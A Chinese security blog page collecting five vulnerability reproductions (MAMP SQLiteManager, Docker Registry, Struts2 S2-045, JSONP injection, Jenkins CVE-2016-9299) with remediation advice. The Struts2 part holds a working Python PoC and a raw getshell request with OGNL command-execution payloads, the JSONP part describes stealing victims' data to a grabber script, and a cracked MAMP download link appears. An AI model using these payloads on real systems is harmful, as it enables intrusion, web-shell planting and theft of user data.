分类 WEB安全 下的文章

MAMP远程代码执行漏洞

前言

MAMP 是一个集PHP,MYSQL,Apache等一体化PHP Web应用程序开发套件,今日国外研究者发现MAMP的默认的安装配置中存在远程代码执行漏洞。本文记录复现过程。

原文:Drive-by remote code execution by MAMP

环境配置

安装MAMP

  • 下载MAMP后开始安装

a6cc4662d0ba196f5413a113e1e2875a.png

  • 然后初始化时,会提示是否安装phpMyAdmin,我用不上那个没有勾选。

启动MAMP

  • 安装后不做任何修改,默认配置下启动MAMP服务

828caeccd80fde53b94eb046792b398b.png

漏洞复现

打开sqlitemanager地址:http://localhost:8888/sqlitemanager/

9375ab9b41b9312a3f1a8cc32c7fe7ca.png

利用目录跳转漏洞,漏洞位置:

0044945becdede38fb0ed450b7e1035a.png

这里没有校验写入位置和写入文件格式,可以利用…/…/在任意目录下创建你想要的文件。于是,在根路径下创建一个名为threathunter.php的数据库文件

d41f1fd545386d0ff7168f910e526a29.png

创建成功:

924f4f4883922c7b790aff105f391c16.png

下面就是常规套路,将一句话写入数据库中了。先创建一个表poc:

5f329c5e8c0dfe0385e55e6c6d4ed87b.png

指定字段名:

af9ceb2e292d7bc7d63e0633573c7e63.png

98ff56e92b681d90d974ae76d967ed2b.png

点击上面的Insert插入一条记录:

d4980a91b86bc807c6772cf0dd8c1749.png

然后保存,现在可以访问:http://localhost:8888/threathunter.php进行验证了:

597938d854d2885b7d85cc3d6eb7fb3d.png

提供一下我用的这个破解版的MAMP下载地址:

https://pan.baidu.com/s/1kU5yElp 密码: 2mnx 安装密码:macpeers

网上查了下,发现这个组件在2013年就爆出的这个漏洞。 SQLiteManager 0Day Remote PHP Code Injection Vulnerability

查看了下该组件项目最近一次更新居然远在2010年,最新版本即为1.2.4(全版本都存在那个0day),官方应该是废弃这个项目了!

acebe3db745e4961430bdfdaf8a98ab9.png

修改建议

  • 删除默认集成的老旧的sqlitemanager,默认在目录:/Applications/MAMP/bin/SQLiteManager删掉即可。

Hacking Docker:Registry API 未授权访问

前言

docker pull HOST:PORT/IMAGE_NAME

image001.png

Exploit

环境

  • local.example.com (127.0.0.1)
  • port 30000

GET 请求/v1 /v2确认 Registry API 版本:

image003.png

确定版本后查看 repos 列表,/_catalog:

image005.png

例如 testrepo1,/REPO_NAME/tags/list查看标签:

image007.png

确定标签 (v1v2) 后使用/manifests/v2下载文件:

image009.png

使用终端下载文件v2//blobs/sha256:/:

https://localhost:30000/v2/testrepo1/blobs/sha256:4b981f68920b27d3a35992f3e0343acfc90f52dff050328f38d03f16ba984d34

image011.png

解压文件发现敏感信息:

image013.png

image015.png

自动化脚本:https://github.com/NotSoSecure/docker_fetch/

image017.png

脚本会将所有 gzip 压缩的 blob 保存在用户设定的目录中, 可以使用以下命令一次性解压:

for i in *.tar.gz; do tar -xzvf $i; done

修复

  • 添加身份验证
  • 启用签名和验证
  • 使用 TLS

参考

Struts2 S2-045 Remote Command Execution(CVE-2017-5638)

0x01 前言

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时可能存在远程命令执行,导致系统被入侵,漏洞评级为高危。

0x02 漏洞详情

漏洞概述

  • 漏洞编号:S2-045
  • CVE编号:CVE-2017-5638

攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

影响范围

  • 风险等级:高风险
  • 漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
  • 影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
  • 安全版本:Struts 2.3.32、Struts 2.5.10.1

0x03 漏洞分析

漏洞关键点

  • 基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
  • 恶意攻击者精心构造Content-Type的值

补丁对比

通过版本比对定位漏洞原因

2.3.32:https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a

1.jpg

2.5.10.1:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

2.jpg

  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
  • \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java

加固方式对用户报错加了条件判断

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
            return LocalizedTextUtil.findText(this.getClass(),  "struts.messages.error.uploading", defaultLocale, null, new  Object[] { e.getMessage() });
         } else {
            return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
         }

Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码,当Content-Type注入Payload后就可以通过OGNL执行命令了。

0x04 PoC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
import ssl
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers


def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    ssl._create_default_https_context = ssl._create_unverified_context
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()


poc()

Getshell

POST /test.action?f=css3.jsp HTTP/1.1
Host: 192.168.1.105:8080
Content-Length: 13
Cache-Control: max-age=0
Origin: http://192.168.1.105:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: _multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.105:8080/test.action
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=2905AC0C4AAE617FD1A8E0FE27391DB6
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0.1
Connection: close

test_xxx

会在根目录下面生成css3.jsp,内容就是test_xxx

99c1ca0fed253ae75fe23dccc6b6f326.png

0x05 安全加固&修复建议

  • 升级至Struts2安全版本
  • 使用Servlet过滤器验证Content-Type过滤不匹配的请求multipart/form-data

加固方式

通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。

加固代码:

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class SecurityFilter extends HttpServlet implements Filter {

    /**
     * 
     */
    private static final long serialVersionUID = 1L;
    
    
    public final String www_url_encode= "application/x-www-form-urlencoded";
    public final String mul_data= "multipart/form-data ";
    public final String txt_pla= "text/plain";

    public void doFilter(ServletRequest arg0, ServletResponse arg1,
            FilterChain arg2) throws IOException, ServletException {

        HttpServletRequest request = (HttpServletRequest) arg0;
        HttpServletResponse response = (HttpServletResponse) arg1;
        
        String contenType=request.getHeader("conTent-type");
        
        if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
            
            response.setContentType("text/html;charset=UTF-8");
            response.getWriter().write("非法请求Content-Type!");
            return;
        }
        arg2.doFilter(request, response);
    }

    public void init(FilterConfig arg0) throws ServletException {

    }

}

1.将Java编译以后的SecurityFilter.classSecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下。

2.配置Filter

将下面的代码加入WEB-INF/web.xml文件中。

<filter>
    <filter-name>SecurityFilter</filter-name>
    <filter-class>SecurityFilter</filter-class>
  </filter>
<filter-mapping>
    <filter-name>SecurityFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

/*代表拦截所有请求,进行攻击代码检查,*.action只检查.action结尾的请求。

示例:

s21.png

3.重启应用即可

0x06 参考

JSONP注入实战

原文:https://securitycafe.ro/2017/01/18/practical-jsonp-injection/

JSONP注入是一个鲜为人知的但是非常广泛和危险的漏洞。它在近几年才出现,由于JSON,web API和跨域通信的急需。

什么是JSONP

假设每个人都知道JSON是什么,让我们谈谈一下JSONP。 JSONP来自带有填充的JSON,被创建来绕过常见的限制,例如同源策略。

举个例子。 我们的网上银行应用程序,http://verysecurebank.ro,实现了一个返回当前用户的交易的API调用。

访问http://verysecurebank.ro/getAccountTransactions的HTTP请求向我们提供了当前用户的交易内容,JSON格式:

json-transactions.png

如果我们的报告应用程序,想访问http://reports.verysecurebank.ro获得交易详细信息,由于同源原则生效(不同的主机),将无法通过AJAX调用该页面。

sop-json.png

为了解决这个问题,JSONP发挥了作用。 由于跨域脚本包含(主要用于外部加载JavaScript库,如jQuery,AngularJS等)是允许但不推荐的,一个聪明的技巧显然解决了整个问题:在响应前加上回调。

注意:即使它可能是显而易见的,值得提及的是,当包括脚本跨域时,它将在包含应用程序的上下文中运行,而不是在源的上下文中运行。

添加一个回调到API响应,包裹JSON格式的数据,允许我们加载脚本标签之间的API响应,并通过定义我们自己的回调函数来处理它的内容。

怎么使用JSONP

这是你最容易遇到的情况:

1.回调函数在响应中硬编码
1)基本函数调用
2)对象方法调用
2.回调函数是动态的
1)完全可控的URL(GET变量)
2)部分可控的URL(GET变量),但附加一个数字
3)可控的URL(GET变量),但最初不显示在请求中

基本函数调用

一个非常常见的示例,其中myCallback回调在响应中硬编码,包裹在JSON格式的数据上:

callback-example.png

我们可以通过首先定义myCallback函数,然后在脚本标签中引用API调用来轻松使用它:

callback-example-code.png

注意:确保在包含响应之前定义函数,否则将调用未定义的函数,并且不会获取任何数据。

当登录的受害者访问我们的恶意页面时,我们抓取他的数据。 为了简洁起见,我们在当前页面中显示整齐格式化了的数据。

callback-example-result.png

对象方法调用

这几乎与第一个示例相同,你可能会在ASP或ASP.NET Web应用程序中遇到它。 在我们的示例中,System.TransactionData.Fetch作为回调围绕JSON格式的数据被添加:

multiple-callback-example.png

我们只是为已经是System对象一部分的TransactionData对象创建Fetch方法。

multiple-callback-code.png

结果是相同的,所以没有截图。

完全可控的URL(GET变量)

这是你会遇到的最常见的情况。 回调函数在URL中指定,我们可以完全控制它。 回调URL参数允许我们更改回调的名称,因此我们将设置它来测试,并在响应中看它的改变:

specified-callback-example.png

我们基本上可以使用相同的代码,但是不要忘记在包含带有脚本标签的响应时添加回调参数。

specified-callback-code.png

部分可控的URL(GET变量),但附加一个数字

在这种情况下,回调函数名称附加了一些东西,通常是一个数字。 在大多数情况下,我们得到的东西像jQuery和一个附加到它的短号,像12345,回调成为jQuery12345。

appended-callback-example.png

逻辑上,代码保持不变,我们只需要将12345添加到我们的回调函数名称,而不是包含脚本时。

appended-callback-code.png

但如果数字不是硬编码怎么办? 如果是动态的、每个会话都不同怎么办? 如果它是一个相对较短的数字,我们可以用过编程预定义每个可能性的函数。 让我们假设附加的数字高达99999。 我们可以以编程方式创建所有这些函数,所以附加的数字,我们已经有一个回调函数。 这里是示例代码,我使用一个更简单的回调来说明结果:

appended-callback-code-generate.png

这里发生了什么:我们有硬编码的回调名称jQuery,我们为函数的数量设置了一个限制。 在第一个循环中,我们在callbackNames数组中生成回调函数名。 然后我们循环遍历数组,并将每个回调名称转换为全局函数。 请注意,为了缩短代码,我只提醒第一笔交易中发送的金额。 让我们看看它是如何工作的:

appended-callback-alert.png

在我的机器上,花了大约5秒钟显示警报,回调名称为jQuery12345。 这意味着Chrome在5秒内创建了超过10.000个功能,所以我大胆地说,这是一个很可行的方法。

可控的URL(GET变量),但最初不显示在请求中

最后一个场景涉及一个显然没有回调的API调用,因此没有可见的JSONP。 这可能发生在开发人员,为其他软件或代码留下隐藏的向后兼容性只是没有在重构时删除。 因此,当看到没有回调的API调用时,特别是如果JSON格式的数据已经在括号之间,手动添加回调到请求。

如果我们有以下API调用http://verysecurebank.ro/getAccountTransactions,我们可能会尝试猜测回调变量:

这些只是最常见的回调名称,请随意猜测更多。 如果我们的回调被添加到响应,bingo,让我们道德地抓取一些数据。

基本数据抓取

因为我们直到现在才显示数据,让我们看看如何把它发送给我们。 这是JSONP数据抓取的一个小示例,可以将其用作概念验证。

steal-code.png

我们发送应用响应(比如用户的交易内容)在data参数中的get请求给我们的数据抓取器。

注意:确保对数据使用了JSON.stringify(),因为它是一个对象,我们不希望在我们的文件中只有[object Object]。

注意:如果响应很大,请确保切换到POST,因为HTTP GET的大小限制,可能无法接收完整的数据。

这里是我们的grabData.php代码,我们将接收到的数据追加到data.txt文件中:

steal-php.png

常见问题

在寻找JSONP漏洞的Web应用程序时,我们可能会遇到一些问题。 这里我们尝试解决他们。

Content-Type和X-Content-Type-Options

如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascripttext/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

如果您想知道浏览器解释为JavaScript的内容类型,请访问https://mathiasbynens.be/demo/javascript-mime-type

在此示例中,Content-Type设置为application/jsonX-Content-Type-Options设置为nosniff

content-type-error.png

最新版本的Google Chrome,Microsoft Edge和Internet Explorer 11成功阻止了脚本执行。 但是,Firefox 50.1.0(目前是最新版本)没有。

注意:如果X-Content-Type-Options:nosniff头未设置,它将适用于所有上述浏览器。

注意:旧版本的浏览器没有考虑严格的MIME类型检查,因为最近实现了X-Content-Type-Options。 根据Mozilla,这是由于浏览器的兼容性:

browser-compatibility.png

响应码

有时我们可能会得到一些其他响应代码,而不是200,特别是当我们搞乱了响应。 我在这些浏览器上进行了几个测试:

  • Microsoft Edge 38.14393.0.0
  • Internet Explorer 11.0.38
  • Google Chrome 55.0.2883.87
  • Mozilla Firefox 50.1.0

发现了这些不一致:

Response Code        Works in
100 Continue        Internet Explorer, Microsoft Edge, Google Chrome
101 Switching Protocols        Google Chrome
301 Moved Permanently        Google Chrome
302 Found        Google Chrome
304 Not Modified        Microsoft Edge

因此,即使我们没有获得200 HTTP代码,该漏洞仍然可以在其他浏览器中使用。

绕过referer检查

1.使用data URI scheme

如果有HTTP Referer检查,我们可以尝试不发送它来绕过验证。 我们怎么能做到这一点?通过data URI。

我们可以利用data URI scheme,以便在没有HTTP Referer的情况下发出请求。 因为我们处理的代码,包括引号,双引号和其他语法破坏字符,我们将对base64编码我们的payload(回调定义和脚本包含)。

语法:

data:text/plain;base64,our_base64_encoded_code

iframe-src.png

以下是允许我们使用data URI scheme的三个主要HTML标签:

  • iframe(在src属性中) - 它在Internet Explorer中不起作用
  • embed(在src属性中) - 它在Internet Explorer和Microsoft Edge中不起作用
  • object(在data属性) - 它在Internet Explorer和Microsoft Edge中不起作用

我们可以看到,API请求中没有发送HTTP Referer。

referer-browser.png

2.从https到http的请求

如果我们的目标网站可以通过HTTP访问,我们还可以通过在HTTPS页面上托管我们的代码来避免发送HTTP Referer。 如果我们从HTTPS页面发出HTTP请求,则浏览器不发送Referer头以防止信息泄露。

我们所有要做的只是在启用HTTPS的网站上托管我们的恶意代码。

注意:由于混合内容安全机制,这不适用于具有默认设置的现代Web浏览器。 受害者已手动接受浏览器的安全警告。

mixed-content.png

但是,它在旧版本的浏览器中使用,并且不发送HTTP Referer头,我们可以看到:

https-to-http.png

我们如何解决这个问题

最后,让我们看看我们如何防止这种情况的发生。 最直接和最现代的方法是CORS(跨源资源共享)。

1.完全删除JSONP功能
2.将Access-Control-Allow-Origin标头添加到API响应中
3.使用跨域AJAX请求

因此,http://reports.verysecurebank.ro将以下跨域AJAX请求嵌入到http://verysecurebank.ro/getAccountTransactions

ajax-request-code.png

API响应包括Access-Control-Allow-Originhttp://reports.verysecurebank.ro

ajax-request-headers.png

我们得到http://verysecurebank.ro/getAccountTransactions的内容:

ajax-request-content.png

结论

虽然JSONP使用量在减少,但仍然有大量的网站依然在使用它。 作为最后一个提示,当处理JSONP时,也不要忘记检查反射型文件下载和反射型xss。

Jenkins CLI Ldap Deser CVE-2016-9299

1024px-Jenkins_logo_with_title.svg_meitu_1.jpg

漏洞名称

Unauthenticatedremote code execution vulnerability in Jenkins

影响版本

  • LTSRelease 2.19.3 之前的所有版本
  • WeeklyRelease 2.32 之前的所有版本

修复版本

  • mainline 2.32
  • LTS2.19.3

漏洞危害

远程代码执行

Exploit

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞复现

b2ae6b6e-eec0-11e6-9657-bebfbfb80609.png


    msf > use exploit/linux/misc/jenkins_ldap_deserialize
    msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
    PAYLOAD => cmd/unix/generic
    msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
    CMD => touch /tmp/wtf
    msf exploit(jenkins_ldap_deserialize) > run
    [*] Exploit completed, but no session was created.

c6ac0df6-eec0-11e6-8c9a-ab1cae579c8f.png

成功

e132e262-eec0-11e6-9335-956b69391ba4.png

[~] ls /tmp/wtf
/tmp/wtf

参考